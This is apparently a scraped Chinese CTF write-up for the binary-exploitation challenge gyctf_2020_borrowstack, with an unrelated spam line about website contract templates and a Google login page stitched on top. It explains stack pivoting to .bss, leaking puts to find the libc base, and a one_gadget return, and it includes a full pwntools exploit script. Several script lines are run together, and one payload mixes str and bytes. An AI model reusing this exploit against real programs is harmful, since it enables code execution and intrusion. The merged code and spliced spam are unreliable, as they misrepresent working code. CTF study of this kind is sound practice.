網(wǎng)站開發(fā)合同范本下載google網(wǎng)頁版登錄入口
這是一題棧遷移的題目,先看看保護:
黑盒測試:
用戶可輸入兩次內(nèi)容,接著看看IDA中具體程序流程:
我們看到溢出內(nèi)容只有0x10的空間給我們布局,這顯然是不足以我們布置rop的。因此肯定就是棧遷移了。遷到什么地方呢,肯定就是這個bank所在的地方了。它在bss段上。我們還需要考慮一些細節(jié)上的東西,首先我們需要知道libc的基地址,因此我們需要通過puts函數(shù)來泄露。我們先看看最初棧的布局:
此時rip指向leave:
棧的內(nèi)容:
leave指令做兩件事:mov rsp,rbp;pop rbp.緊接著就是執(zhí)行ret指令。
因此我們的思路明確了,需要覆蓋掉old_rbp(圖中手誤大家理解就行)和返回地址。
old_rbp覆蓋成我們的bss段,讓rbp指過去,接著返回地址需要再調(diào)用一次leave。
問:(為何棧遷移需要兩次調(diào)用leave?)
答:第一次調(diào)用是控制rbp到達想去的地方,第二次調(diào)用是控制rsp達到目的地。此后rbp飛去哪我們就不管了(不明白可以好好理解leave指令干的兩件事)
因此我們的exp就能這樣寫了:
from pwn import *#io=remote('')
io=process('./gyctf_2020_borrowstack')
context.log_level='debug'
elf=ELF('./gyctf_2020_borrowstack')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bank=0x0601080
leave=0x400699
pop_rdi=0x400703 # ROPgadget --binary gyctf_2020_borrowstack --only 'pop|ret' | grep 'rdi'
main=0x0400626
ret=0x4004c9gdb.attach(io)
io.recvuntil('u want')
pl1=b'a'*0x60+p64(bank)+p64(leave) #control rsp -> .bss
io.send(pl1)
# gdb.attach(io)
# pause()
io.recvuntil('now!')
pl2=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #leak puts_addr
io.send(pl2)io.recvline()puts_add=u64(io.recv(6).ljust(8,b'\x00'))
print('!!!',hex(puts_add))
libc_base=puts_add-0x6F6A0
one_gadget=libc_base+0x4527a
pl3=b'a'*0x60+'bbbbbbbb'+p64(one_gadget) #one_gadget libc.2.23.so
io.send(pl3)
io.send('a')io.interactive()
下面我們看下步驟好的棧布局:
bss段上的內(nèi)容:
此時劫持完rsp后效果是這樣的:
接下來的操作基本都是pop,因此rsp是從低地址到高地址跑(每次pop,rsp+8),所以我們順序布局就可以。
后續(xù)的操作就很簡單,通過泄露的puts函數(shù)地址,計算出libc的基地址,當程序再次回到主函數(shù)時,直接將棧上的返回地址覆蓋成one_gadget拿到權(quán)限。
puts函數(shù)偏移和one_gadget偏移要根據(jù)自身情況來定。我這是本地的環(huán)境。最后打通如下: